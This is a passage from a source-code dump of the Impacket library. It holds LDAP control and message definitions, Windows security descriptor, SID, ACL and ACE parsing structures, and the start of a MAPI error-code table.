if decodedControlValue is not None:\n            r = r[:r.rindex('=') + 1] + '%s\\n' % decodedControlValue.prettyPrint(scope + 1)\n        return r\n\n\nclass Controls(univ.SequenceOf):\n    componentType = Control()\n\n\nclass SDFlagsControlValue(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('flags', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))),\n    )\n\nclass SDFlagsControl(Control):\n    def __init__(self, criticality=None, flags=0x00000007, **kwargs):\n        Control.__init__(self, **kwargs)\n        self['controlType'] = CONTROL_SDFLAGS\n        if criticality is not None:\n            self['criticality'] = criticality\n        self.flags = flags\n        self.encodeControlValue()\n\n    def encodeControlValue(self):\n        self['controlValue'] = encoder.encode(\n            SDFlagsControlValue().setComponents(self.flags))\n\n    def decodeControlValue(self):\n        decodedControlValue, _ = decoder.decode(self['controlValue'], asn1Spec=SDFlagsControlValue())\n        self._flags =  decodedControlValue[0]\n        return decodedControlValue\n\n    def getCriticality(self):\n        return self['criticality']\n\n    def setCriticality(self, value):\n        self['criticality'] = value\n\n    def getFlags(self):\n        self.decodeControlValue()\n        return self._flags\n\n    def setFlags(self, value):\n        self._flags = value\n        self.encodeControlValue()\n\nclass SimplePagedResultsControlValue(univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('size', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(0, maxInt))),\n        namedtype.NamedType('cookie', univ.OctetString()),\n    )\n\n\nclass SimplePagedResultsControl(Control):\n    def __init__(self, criticality=None, size=1000, cookie='', **kwargs):\n        Control.__init__(self, **kwargs)\n        self['controlType'] = CONTROL_PAGEDRESULTS\n        if criticality is not None:\n            self['criticality'] = criticality\n        self._size = size\n        self._cookie = cookie\n        self.encodeControlValue()\n\n    def encodeControlValue(self):\n        self['controlValue'] = encoder.encode(SimplePagedResultsControlValue().setComponents(self._size, self._cookie))\n\n    def decodeControlValue(self):\n        decodedControlValue, _ = decoder.decode(self['controlValue'], asn1Spec=SimplePagedResultsControlValue())\n        self._size, self._cookie = decodedControlValue[0], decodedControlValue[1]\n        return decodedControlValue\n\n    def getCriticality(self):\n        return self['criticality']\n\n    def setCriticality(self, value):\n        self['criticality'] = value\n\n    def getSize(self):\n        self.decodeControlValue()\n        return self._size\n\n    def setSize(self, value):\n        self._size = value\n        self.encodeControlValue()\n\n    def getCookie(self):\n        self.decodeControlValue()\n        return self._cookie\n\n    def setCookie(self, value):\n        self._cookie = value\n        self.encodeControlValue()\n\n\nKNOWN_CONTROLS[CONTROL_PAGEDRESULTS] = SimplePagedResultsControl\nKNOWN_CONTROLS[CONTROL_SDFLAGS] = SDFlagsControl\n\nclass LDAPMessage(DefaultSequenceAndSetBaseMixin, univ.Sequence):\n    componentType = namedtype.NamedTypes(\n        namedtype.NamedType('messageID', MessageID()),\n        namedtype.NamedType('protocolOp', univ.Choice(componentType=namedtype.NamedTypes(\n            namedtype.NamedType('bindRequest', BindRequest()),\n            namedtype.NamedType('bindResponse', BindResponse()),\n            namedtype.NamedType('unbindRequest', UnbindRequest()),\n            namedtype.NamedType('searchRequest', SearchRequest()),\n            namedtype.NamedType('searchResEntry', SearchResultEntry()),\n            namedtype.NamedType('searchResDone', SearchResultDone()),\n            namedtype.NamedType('searchResRef', SearchResultReference()),\n            namedtype.NamedType('modifyRequest', ModifyRequest()),\n            namedtype.NamedType('modifyResponse', ModifyResponse()),\n            namedtype.NamedType('addRequest', AddRequest()),\n            namedtype.NamedType('addResponse', AddResponse()),\n            namedtype.NamedType('delRequest', DelRequest()),\n            namedtype.NamedType('delResponse', DelResponse()),\n            namedtype.NamedType('modDNRequest', ModifyDNRequest()),\n            namedtype.NamedType('modDNResponse', ModifyDNResponse()),\n            namedtype.NamedType('compareRequest', CompareRequest()),\n            namedtype.NamedType('compareResponse', CompareResponse()),\n            namedtype.NamedType('abandonRequest', AbandonRequest()),\n            namedtype.NamedType('extendedReq', ExtendedRequest()),\n            namedtype.NamedType('extendedResp', ExtendedResponse()),\n            namedtype.NamedType('intermediateResponse', IntermediateResponse())\n        ))),\n        namedtype.OptionalNamedType(\n            'controls',\n            Controls().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))\n        ),\n        # fix AD nonconforming to RFC4511\n        namedtype.OptionalNamedType(\n            'responseName',\n            LDAPOID().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))\n        ),\n        namedtype.OptionalNamedType(\n            'responseValue',\n            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))\n        )\n    )\n"
  },
  {
    "path": "impacket/ldap/ldaptypes.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Structures and types used in LDAP\n#   Contains the Structures for the NT Security Descriptor (non-RPC format) and\n#   all ACL related structures\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#\nfrom struct import unpack, pack\nfrom impacket.structure import Structure\nfrom enum import Enum\n\n# Global constant if the library should recalculate ACE sizes in objects that are decoded/re-encoded.\n# This defaults to True, but this causes the ACLs to not match on a binary level\n# since Active Directory for some reason sometimes adds null bytes to the end of ACEs.\n# This is valid according to the spec (see 2.4.4), but since impacket encodes them more efficiently\n# this should be turned off if running unit tests.\nRECALC_ACE_SIZE = True\n\n# LDAP SID structure - based on SAMR_RPC_SID, except the SubAuthority is LE here\nclass LDAP_SID_IDENTIFIER_AUTHORITY(Structure):\n    structure = (\n        ('Value','6s'),\n    )\n\nclass LDAP_SID(Structure):\n    structure = (\n        ('Revision','<B'),\n        ('SubAuthorityCount','<B'),\n        ('IdentifierAuthority',':',LDAP_SID_IDENTIFIER_AUTHORITY),\n        ('SubLen','_-SubAuthority','self[\"SubAuthorityCount\"]*4'),\n        ('SubAuthority',':'),\n    )\n\n    def formatCanonical(self):\n        ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))\n        for i in range(self['SubAuthorityCount']):\n            ans += '-%d' % ( unpack('<L',self['SubAuthority'][i*4:i*4+4])[0])\n        return ans\n\n    def fromCanonical(self, canonical):\n        items = canonical.split('-')\n        self['Revision'] = int(items[1])\n        self['IdentifierAuthority'] = LDAP_SID_IDENTIFIER_AUTHORITY()\n        self['IdentifierAuthority']['Value'] = b'\\x00\\x00\\x00\\x00\\x00' + pack('B',int(items[2]))\n        self['SubAuthorityCount'] = len(items) - 3\n        self['SubAuthority'] = b''\n        for i in range(self['SubAuthorityCount']):\n            self['SubAuthority'] += pack('<L', int(items[i+3]))\n\n\"\"\"\nSelf-relative security descriptor as described in 2.4.6\nhttps://msdn.microsoft.com/en-us/library/cc230366.aspx\n\"\"\"\nclass SR_SECURITY_DESCRIPTOR(Structure):\n    structure = (\n        ('Revision','c'),\n        ('Sbz1','c'),\n        ('Control','<H'),\n        ('OffsetOwner','<L'),\n        ('OffsetGroup','<L'),\n        ('OffsetSacl','<L'),\n        ('OffsetDacl','<L'),\n        ('Sacl',':'),\n        ('Dacl',':'),\n        ('OwnerSid',':'),\n        ('GroupSid',':'),\n    )\n\n    def fromString(self, data):\n        Structure.fromString(self, data)\n        # All these fields are optional, if the offset is 0 they are empty\n        # there are also flags indicating if they are present\n        # TODO: parse those if it adds value\n        if self['OffsetOwner'] != 0:\n            self['OwnerSid'] = LDAP_SID(data=data[self['OffsetOwner']:])\n        else:\n            self['OwnerSid'] = b''\n\n        if self['OffsetGroup'] != 0:\n            self['GroupSid'] = LDAP_SID(data=data[self['OffsetGroup']:])\n        else:\n            self['GroupSid'] = b''\n\n        if self['OffsetSacl'] != 0:\n            self['Sacl'] = ACL(data=data[self['OffsetSacl']:])\n        else:\n            self['Sacl'] = b''\n\n        if self['OffsetDacl'] != 0:\n            self['Dacl'] = ACL(data=data[self['OffsetDacl']:])\n        else:\n            self['Sacl'] = b''\n\n    def getData(self):\n        headerlen = 20\n        # Reconstruct the security descriptor\n        # flags are currently not set automatically\n        # TODO: do this?\n        datalen = 0\n        if self['Sacl'] != b'':\n            self['OffsetSacl'] = headerlen + datalen\n            datalen += len(self['Sacl'].getData())\n        else:\n            self['OffsetSacl'] = 0\n\n        if self['Dacl'] != b'':\n            self['OffsetDacl'] = headerlen + datalen\n            datalen += len(self['Dacl'].getData())\n        else:\n            self['OffsetDacl'] = 0\n\n        if self['OwnerSid'] != b'':\n            self['OffsetOwner'] = headerlen + datalen\n            datalen += len(self['OwnerSid'].getData())\n        else:\n            self['OffsetOwner'] = 0\n\n        if self['GroupSid'] != b'':\n            self['OffsetGroup'] = headerlen + datalen\n            datalen += len(self['GroupSid'].getData())\n        else:\n            self['OffsetGroup'] = 0\n        return Structure.getData(self)\n\n\"\"\"\nACE as described in 2.4.4\nhttps://msdn.microsoft.com/en-us/library/cc230295.aspx\n\"\"\"\nclass ACE(Structure):\n    # Flag constants\n    CONTAINER_INHERIT_ACE       = 0x02\n    FAILED_ACCESS_ACE_FLAG      = 0x80\n    INHERIT_ONLY_ACE            = 0x08\n    INHERITED_ACE               = 0x10\n    NO_PROPAGATE_INHERIT_ACE    = 0x04\n    OBJECT_INHERIT_ACE          = 0x01\n    SUCCESSFUL_ACCESS_ACE_FLAG  = 0x40\n\n    structure = (\n        #\n        # ACE_HEADER as described in 2.4.4.1\n        # https://msdn.microsoft.com/en-us/library/cc230296.aspx\n        #\n        ('AceType','B'),\n        ('AceFlags','B'),\n        ('AceSize','<H'),\n        # Virtual field to calculate data length from AceSize\n        ('AceLen', '_-Ace', 'self[\"AceSize\"]-4'),\n        #\n        # ACE body, is parsed depending on the type\n        #\n        ('Ace',':')\n    )\n\n    def fromString(self, data):\n        # This will parse the header\n        Structure.fromString(self, data)\n        # Now we parse the ACE body according to its type\n        self['TypeName'] = ACE_TYPE_MAP[self['AceType']].__name__\n        self['Ace'] = ACE_TYPE_MAP[self['AceType']](data=self['Ace'])\n\n    def getData(self):\n        if RECALC_ACE_SIZE or 'AceSize' not in self.fields:\n            self['AceSize'] = len(self['Ace'].getData())+4 # Header size (4 bytes) is included\n        if self['AceSize'] % 4 != 0:\n            # Make sure the alignment is correct\n            self['AceSize'] += self['AceSize'] % 4\n        data = Structure.getData(self)\n        # For some reason ACEs are sometimes longer than they need to be\n        # we fill this space up with null bytes to make sure the object\n        # we create is identical to the original object\n        if len(data) < self['AceSize']:\n            data += '\\x00' * (self['AceSize'] - len(data))\n        return data\n\n    def hasFlag(self, flag):\n        return self['AceFlags'] & flag == flag\n\n\"\"\"\nACCESS_MASK as described in 2.4.3\nhttps://msdn.microsoft.com/en-us/library/cc230294.aspx\n\"\"\"\nclass ACCESS_MASK(Structure):\n    # Flag constants\n    GENERIC_READ            = 0x80000000\n    GENERIC_WRITE           = 0x40000000\n    GENERIC_EXECUTE         = 0x20000000\n    GENERIC_ALL             = 0x10000000\n    MAXIMUM_ALLOWED         = 0x02000000\n    ACCESS_SYSTEM_SECURITY  = 0x01000000\n    SYNCHRONIZE             = 0x00100000\n    WRITE_OWNER             = 0x00080000\n    WRITE_DACL              = 0x00040000\n    READ_CONTROL            = 0x00020000\n    DELETE                  = 0x00010000\n\n    structure = (\n        ('Mask', '<L'),\n    )\n\n    def hasPriv(self, priv):\n        return self['Mask'] & priv == priv\n\n    def setPriv(self, priv):\n        self['Mask'] |= priv\n\n    def removePriv(self, priv):\n        self['Mask'] ^= priv\n\n\"\"\"\nACCESS_ALLOWED_ACE as described in 2.4.4.2\nhttps://msdn.microsoft.com/en-us/library/cc230286.aspx\n\"\"\"\nclass ACCESS_ALLOWED_ACE(Structure):\n    ACE_TYPE = 0x00\n    structure = (\n        ('Mask', ':', ACCESS_MASK),\n        ('Sid', ':', LDAP_SID)\n    )\n\n\"\"\"\nACCESS_ALLOWED_OBJECT_ACE as described in 2.4.4.3\nhttps://msdn.microsoft.com/en-us/library/cc230289.aspx\n\"\"\"\nclass ACCESS_ALLOWED_OBJECT_ACE(Structure):\n    ACE_TYPE = 0x05\n\n    # Flag contstants\n    ACE_OBJECT_TYPE_PRESENT             = 0x01\n    ACE_INHERITED_OBJECT_TYPE_PRESENT   = 0x02\n\n    # ACE type specific mask constants\n    # Note that while not documented, these also seem valid\n    # for ACCESS_ALLOWED_ACE types\n    ADS_RIGHT_DS_CONTROL_ACCESS         = 0x00000100\n    ADS_RIGHT_DS_CREATE_CHILD           = 0x00000001\n    ADS_RIGHT_DS_DELETE_CHILD           = 0x00000002\n    ADS_RIGHT_DS_READ_PROP              = 0x00000010\n    ADS_RIGHT_DS_WRITE_PROP             = 0x00000020\n    ADS_RIGHT_DS_SELF                   = 0x00000008\n\n\n    structure = (\n        ('Mask', ':', ACCESS_MASK),\n        ('Flags', '<L'),\n        # Optional field\n        ('ObjectTypeLen','_-ObjectType','self.checkObjectType(self[\"Flags\"])'),\n        ('ObjectType', ':=\"\"'),\n        # Optional field\n        ('InheritedObjectTypeLen','_-InheritedObjectType','self.checkInheritedObjectType(self[\"Flags\"])'),\n        ('InheritedObjectType', ':=\"\"'),\n        ('Sid', ':', LDAP_SID)\n    )\n\n    @staticmethod\n    def checkInheritedObjectType(flags):\n        if flags & ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT:\n            return 16\n        return 0\n\n    @staticmethod\n    def checkObjectType(flags):\n        if flags & ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT:\n            return 16\n        return 0\n\n    def getData(self):\n        # Set the correct flags\n        if self['ObjectType'] != b'':\n            self['Flags'] |= self.ACE_OBJECT_TYPE_PRESENT\n        if self['InheritedObjectType'] != b'':\n            self['Flags'] |= self.ACE_INHERITED_OBJECT_TYPE_PRESENT\n        return Structure.getData(self)\n\n    def hasFlag(self, flag):\n        return self['Flags'] & flag == flag\n\n\"\"\"\nACCESS_DENIED_ACE as described in 2.4.4.4\nhttps://msdn.microsoft.com/en-us/library/cc230291.aspx\nStructure is identical to ACCESS_ALLOWED_ACE\n\"\"\"\nclass ACCESS_DENIED_ACE(ACCESS_ALLOWED_ACE):\n    ACE_TYPE = 0x01\n\n\"\"\"\nACCESS_DENIED_OBJECT_ACE as described in 2.4.4.5\nhttps://msdn.microsoft.com/en-us/library/gg750297.aspx\nStructure is identical to ACCESS_ALLOWED_OBJECT_ACE\n\"\"\"\nclass ACCESS_DENIED_OBJECT_ACE(ACCESS_ALLOWED_OBJECT_ACE):\n    ACE_TYPE = 0x06\n\n\"\"\"\nACCESS_ALLOWED_CALLBACK_ACE as described in 2.4.4.6\nhttps://msdn.microsoft.com/en-us/library/cc230287.aspx\n\"\"\"\nclass ACCESS_ALLOWED_CALLBACK_ACE(Structure):\n    ACE_TYPE = 0x09\n    structure = (\n        ('Mask', ':', ACCESS_MASK),\n        ('Sid', ':', LDAP_SID),\n        ('ApplicationData', ':')\n    )\n\n\"\"\"\nACCESS_DENIED_OBJECT_ACE as described in 2.4.4.7\nhttps://msdn.microsoft.com/en-us/library/cc230292.aspx\nStructure is identical to ACCESS_ALLOWED_CALLBACK_ACE\n\"\"\"\nclass ACCESS_DENIED_CALLBACK_ACE(ACCESS_ALLOWED_CALLBACK_ACE):\n    ACE_TYPE = 0x0A\n\n\"\"\"\nACCESS_ALLOWED_CALLBACK_OBJECT_ACE as described in 2.4.4.8\nhttps://msdn.microsoft.com/en-us/library/cc230288.aspx\n\"\"\"\nclass ACCESS_ALLOWED_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_OBJECT_ACE):\n    ACE_TYPE = 0x0B\n    structure = (\n        ('Mask', ':', ACCESS_MASK),\n        ('Flags', '<L'),\n        # Optional field\n        ('ObjectTypeLen','_-ObjectType','self.checkObjectType(self[\"Flags\"])'),\n        ('ObjectType', ':=\"\"'),\n        # Optional field\n        ('InheritedObjectTypeLen','_-InheritedObjectType','self.checkInheritedObjectType(self[\"Flags\"])'),\n        ('InheritedObjectType', ':=\"\"'),\n        ('Sid', ':', LDAP_SID),\n        ('ApplicationData', ':')\n    )\n\n\"\"\"\nACCESS_DENIED_CALLBACK_OBJECT_ACE as described in 2.4.4.7\nhttps://msdn.microsoft.com/en-us/library/cc230292.aspx\nStructure is identical to ACCESS_ALLOWED_OBJECT_OBJECT_ACE\n\"\"\"\nclass ACCESS_DENIED_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):\n    ACE_TYPE = 0x0C\n\n\"\"\"\nSYSTEM_AUDIT_ACE as described in 2.4.4.10\nhttps://msdn.microsoft.com/en-us/library/cc230376.aspx\nStructure is identical to ACCESS_ALLOWED_ACE\n\"\"\"\nclass SYSTEM_AUDIT_ACE(ACCESS_ALLOWED_ACE):\n    ACE_TYPE = 0x02\n\n\n\"\"\"\nSYSTEM_AUDIT_OBJECT_ACE as described in 2.4.4.11\nhttps://msdn.microsoft.com/en-us/library/gg750298.aspx\nStructure is identical to ACCESS_ALLOWED_CALLBACK_OBJECT_ACE\n\"\"\"\nclass SYSTEM_AUDIT_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):\n    ACE_TYPE = 0x07\n\n\n\"\"\"\nSYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.12\nhttps://msdn.microsoft.com/en-us/library/cc230377.aspx\nStructure is identical to ACCESS_ALLOWED_CALLBACK_ACE\n\"\"\"\nclass SYSTEM_AUDIT_CALLBACK_ACE(ACCESS_ALLOWED_CALLBACK_ACE):\n    ACE_TYPE = 0x0D\n\n\"\"\"\nSYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.13\nhttps://msdn.microsoft.com/en-us/library/cc230379.aspx\nStructure is identical to ACCESS_ALLOWED_ACE, but with custom masks and meanings.\nLets keep it separate for now\n\"\"\"\nclass SYSTEM_MANDATORY_LABEL_ACE(Structure):\n    ACE_TYPE = 0x11\n    structure = (\n        ('Mask', ':', ACCESS_MASK),\n        ('Sid', ':', LDAP_SID)\n    )\n\n\"\"\"\nSYSTEM_AUDIT_CALLBACK_ACE as described in 2.4.4.14\nhttps://msdn.microsoft.com/en-us/library/cc230378.aspx\nStructure is identical to ACCESS_ALLOWED_CALLBACK_OBJECT_ACE\n\"\"\"\nclass SYSTEM_AUDIT_CALLBACK_OBJECT_ACE(ACCESS_ALLOWED_CALLBACK_OBJECT_ACE):\n    ACE_TYPE = 0x0F\n\n\"\"\"\nSYSTEM_RESOURCE_ATTRIBUTE_ACE as described in 2.4.4.15\nhttps://msdn.microsoft.com/en-us/library/hh877837.aspx\nStructure is identical to ACCESS_ALLOWED_CALLBACK_ACE\nThe application data however is encoded in CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1\nformat as described in section 2.4.10.1\nTodo: implement this substructure if needed\n\"\"\"\nclass SYSTEM_RESOURCE_ATTRIBUTE_ACE(ACCESS_ALLOWED_CALLBACK_ACE):\n    ACE_TYPE = 0x12\n\n\n\"\"\"\nSYSTEM_SCOPED_POLICY_ID_ACE as described in 2.4.4.16\nhttps://msdn.microsoft.com/en-us/library/hh877846.aspx\nStructure is identical to ACCESS_ALLOWED_ACE\nThe Sid data MUST match a CAPID of a CentralAccessPolicy\ncontained in the CentralAccessPoliciesList\nTodo: implement this substructure if needed\nAlso the ACCESS_MASK must always be 0\n\"\"\"\nclass SYSTEM_SCOPED_POLICY_ID_ACE(ACCESS_ALLOWED_ACE):\n    ACE_TYPE = 0x13\n\n# All the ACE types in a list\nACE_TYPES = [\n    ACCESS_ALLOWED_ACE,\n    ACCESS_ALLOWED_OBJECT_ACE,\n    ACCESS_DENIED_ACE,\n    ACCESS_DENIED_OBJECT_ACE,\n    ACCESS_ALLOWED_CALLBACK_ACE,\n    ACCESS_DENIED_CALLBACK_ACE,\n    ACCESS_ALLOWED_CALLBACK_OBJECT_ACE,\n    ACCESS_DENIED_CALLBACK_OBJECT_ACE,\n    SYSTEM_AUDIT_ACE,\n    SYSTEM_AUDIT_OBJECT_ACE,\n    SYSTEM_AUDIT_CALLBACK_ACE,\n    SYSTEM_MANDATORY_LABEL_ACE,\n    SYSTEM_AUDIT_CALLBACK_OBJECT_ACE,\n    SYSTEM_RESOURCE_ATTRIBUTE_ACE,\n    SYSTEM_SCOPED_POLICY_ID_ACE\n]\n\n# A dict of all the ACE types indexed by their type number\nACE_TYPE_MAP = {ace.ACE_TYPE: ace for ace in ACE_TYPES}\n\n\"\"\"\nACL as described in 2.4.5\nhttps://msdn.microsoft.com/en-us/library/cc230297.aspx\n\"\"\"\nclass ACL(Structure):\n    structure = (\n        ('AclRevision', 'B'),\n        ('Sbz1', 'B'),\n        ('AclSize', '<H'),\n        ('AceCount', '<H'),\n        ('Sbz2', '<H'),\n        # Virtual field to calculate data length from AclSize\n        ('DataLen', '_-Data', 'self[\"AclSize\"]-8'),\n        ('Data', ':'),\n    )\n\n    def fromString(self, data):\n        self.aces = []\n        Structure.fromString(self, data)\n        for i in range(self['AceCount']):\n            # If we don't have any data left, return\n            if len(self['Data']) == 0:\n                raise Exception(\"ACL header indicated there are more ACLs to unpack, but there is no more data\")\n            ace = ACE(data=self['Data'])\n            self.aces.append(ace)\n            self['Data'] = self['Data'][ace['AceSize']:]\n        self['Data'] = self.aces\n\n    def getData(self):\n        self['AceCount'] = len(self.aces)\n        # We modify the data field to be able to use the\n        # parent class parsing\n        self['Data'] = b''.join([ace.getData() for ace in self.aces])\n        self['AclSize'] = len(self['Data'])+8 # Header size (8 bytes) is included\n        data = Structure.getData(self)\n        # Put the ACEs back in data\n        self['Data'] = self.aces\n        return data\n\n\"\"\"\nobjectClass mapping to GUID for some common classes (index is the ldapDisplayName).\nReference:\n    https://msdn.microsoft.com/en-us/library/ms680938(v=vs.85).aspx\nCan also be queried from the Schema\n\"\"\"\nOBJECTTYPE_GUID_MAP = {\n    b'group': 'bf967a9c-0de6-11d0-a285-00aa003049e2',\n    b'domain': '19195a5a-6da0-11d0-afd3-00c04fd930c9',\n    b'organizationalUnit': 'bf967aa5-0de6-11d0-a285-00aa003049e2',\n    b'user': 'bf967aba-0de6-11d0-a285-00aa003049e2',\n    b'groupPolicyContainer': 'f30e3bc2-9ff0-11d1-b603-0000f80367c1'\n}\n\n# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3888c2b7-35b9-45b7-afeb-b772aa932dd0\nclass LDAP_SERVER_SD_FLAGS(Enum):\n    OWNER_SECURITY_INFORMATION = 0x1\n    GROUP_SECURITY_INFORMATION = 0x2\n    DACL_SECURITY_INFORMATION  = 0x4\n    SACL_SECURITY_INFORMATION  = 0x8\n\n"
  },
  {
    "path": "impacket/mapi_constants.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Authors:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n# References:\n#   Error codes taken from:\n#   - [MS-OXCDATA] http://www.eventid.net/display-eventid-2115-source-MSExchangeDSAccess-eventno-4469-phase-1.htm\n#   MAPI properties taken from:\n#   - https://gist.github.com/mohemiv/76c265ac92ca026a10b7756899b5f8d5 (MIT)\n#\n\nERROR_MESSAGES = {\n        0x80004002: (\"MAPI_E_INTERFACE_NO_SUPPORT\"),\n        0x80004005: (\"MAPI_E_CALL_FAILED\"),\n        0x80040102: (\"MAPI_E_NO_SUPPORT\"),\n        0x80040103: (\"MAPI_E_BAD_CHARWIDTH\"),\n        0x80040105: (\"MAPI_E_STRING_TOO_LONG\"),\n        0x80040106: (\"MAPI_E_UNKNOWN_FLAGS\"),\n        0x80040107: (\"MAPI_E_INVALID_ENTRYID\"),\n        0x80040108: (\"MAPI_E_INVALID_OBJECT\"),\n        0x80040109: (\"MAPI_E_OBJECT_CHANGED\"),\n        0x8004010A: (\"MAPI_E_OBJECT_DELETED\"),\n        0x8004010B: (\"MAPI_E_BUSY\"),\n        0x8004010D: (\"MAPI_E_NOT_ENOUGH_DISK\"),\n        0x8004010E: (\"MAPI_E_NOT_ENOUGH_RESOURCES\"),\n        0x8004010F: (\"MAPI_E_NOT_FOUND\"),\n        0x80040110: (\"MAPI_E_VERSION\"),\n        0x80040111: (\"MAPI_E_LOGON_FAILED\"),\n        0x80040112: (\"MAPI_E_SESSION_LIMIT\"),\n        0x80040113: (\"MAPI_E_USER_CANCEL\"),\n        0x80040114: (\"MAPI_E_UNABLE_TO_ABORT\"),\n        0x80040115: (\"MAPI_E_NETWORK_ERROR\"),\n        0x80040116: (\"MAPI_E_DISK_ERROR\"),\n        0x80040117: (\"MAPI_E_TOO_COMPLEX\"),\n        0x80040118: (\"MAPI_E_BAD_COLUMN\"),\n        0x80040119: (\"MAPI_E_EXTENDED_ERROR\"),\n        0x8004011A: (\"MAPI_E_COMPUTED\"),\n        0x8004011B: (\"MAPI_E_CORRUPT_DATA\"),\n        0x8004011C: (\"MAPI_E_UNCONFIGURED\"),\n        0x8004011D: (\"MAPI_E_FAILONEPROVIDER\"),\n        0x8004011E: (\"MAPI_E_UNKNOWN_CPID\"),\n        0x8004011F: (\"MAPI_E_UNKNOWN_LCID\"),\n        0x80040120: (\"MAPI_E_PASSWORD_CHANGE_REQUIRED\"),\n        0x80040121: (\"MAPI_E_PASSWORD_EXPIRED\"),\n        0x80040122: (\"MAPI_E_INVALID_WORKSTATION_ACCOUNT\"),\n        0x80040123: (\"MAPI_E_INVALID_ACCESS_TIME\"),\n        0x80040124: (\"MAPI_E_ACCOUNT_DISABLED\"),\n        0x80040200: (\"MAPI_E_END_OF_SESSION\"),\n        0x80040201: (\"MAPI_E_UNKNOWN_ENTRYID\"),\n        0x80040202: (\"MAPI_E_MISSING_REQUIRED_COLUMN\"),\n        0x00040203: (\"MAPI_W_NO_SERVICE\"),\n        0x80040301: (\"MAPI_E_BAD_VALUE\"),\n        0x80040302: (\"MAPI_E_INVALID_TYPE\"),\n        0x80040303: (\"MAPI_E_TYPE_NO_SUPPORT\"),\n        0x80040304: (\"MAPI_E_UNEXPECTED_TYPE\"),\n        0x80040305: (\"MAPI_E_TOO_BIG\"),\n        0x80040306: (\"MAPI_E_DECLINE_COPY\"),\n        0x80040307: (\"MAPI_E_UNEXPECTED_ID\"),\n        0x00040380: (\"MAPI_W_ERRORS_RETURNED\"),\n        0x80040400: (\"MAPI_E_UNABLE_TO_COMPLETE\"),\n        0x80040401: (\"MAPI_E_TIMEOUT\"),\n        0x80040402: (\"MAPI_E_TABLE_EMPTY\"),\n        0x80040403: (\"MAPI_E_TABLE_TOO_BIG\"),\n        0x80040405: (\"MAPI_E_INVALID_BOOKMARK\"),\n        0x00040481: (\"MAPI_W_POSITION_CHANGED\"),\n        0x00040482: (\"MAPI_W_APPROX_COUNT\"),\n        0x80040500: (\"MAPI_E_WAIT\"),\n        0x80040501: (\"MAPI_E_CANCEL\"),\n        0x80040502: (\"MAPI_E_NOT_ME\"),\n        0x00040580: (\"MAPI_W_CANCEL_MESSAGE\"),\n        0x80040600: (\"MAPI_E_CORRUPT_STORE\"),\n        0x80040601: (\"MAPI_E_NOT_IN_QUEUE\"),\n        0x80040602: (\"MAPI_E_NO_SUPPRESS\"),\n        0x80040604: (\"MAPI_E_COLLISION\"),\n        0x80040605: (\"MAPI_E_NOT_INITIALIZED\"),\n        0x80040606: (\"MAPI_E_NON_STANDARD\"),\n        0x80040607: (\"MAPI_E_NO_RECIPIENTS\"),\n        0x80040608: (\"MAPI_E_SUBMITTED\"),\n        0x80040609: (\"MAPI_E_HAS_FOLDERS\"),\n        0x8004060A: (\"MAPI_E_HAS_MESAGES\"),\n        0x8004060B: (\"MAPI_E_FOLDER_CYCLE\"),\n        0x8004060D: (\"MAPI_E_LOCKID_LIMIT\"),\n        0x00040680: (\"MAPI_W_PARTIAL_COMPLETION\"),\n        0x80040700: (\"MAPI_E_AMBIGUOUS_RECIP\"),\n        0x80040800: (\"SYNC_E_OBJECT_DELETED\"),\n        0x80040801: (\"SYNC_E_IGNORE\"),\n        0x80040802: (\"SYNC_E_CONFLICT\"),\n        0x80040803: (\"SYNC_E_NO_PARENT\"),\n        0x80040804: (\"SYNC_E_CYCLE_DETECTED\"),\n        0x80040805: (\"SYNC_E_UNSYNCHRONIZED\"),\n        0x00040820: (\"SYNC_W_PROGRESS\"),\n        0x00040821: (\"SYNC_W_CLIENT_CHANGE_NEWER\"),\n        0x80040900: (\"MAPI_E_NAMED_PROP_QUOTA_EXCEEDED\"),\n        0x80040FFF: (\"MAPI_E_NOT_IMPLEMENTED\"),\n        0x80070005: (\"MAPI_E_NO_ACCESS\"),\n        0x8007000E: (\"MAPI_E_NOT_ENOUGH_MEMORY\"),\n        0x80070057: (\"MAPI_E_INVALID_PARAMETER\"),\n\n        0x80040920: (\"LDAP_NO_SUCH_OBJECT\"),\n        0x80040951: (\"LDAP_SERVER_DOWN\"),\n        0x80040952: (\"LDAP_LOCAL_ERROR\"),\n}\n\nMAPI_E_INTERFACE_NO_SUPPORT               = 0x80004002\nMAPI_E_CALL_FAILED                        = 0x80004005\nMAPI_E_NO_SUPPORT                         = 0x80040102\nMAPI_E_BAD_CHARWIDTH                      = 0x80040103\nMAPI_E_STRING_TOO_LONG                    = 0x80040105\nMAPI_E_UNKNOWN_FLAGS                      = 0x80040106\nMAPI_E_INVALID_ENTRYID                    = 0x80040107\nMAPI_E_INVALID_OBJECT                     = 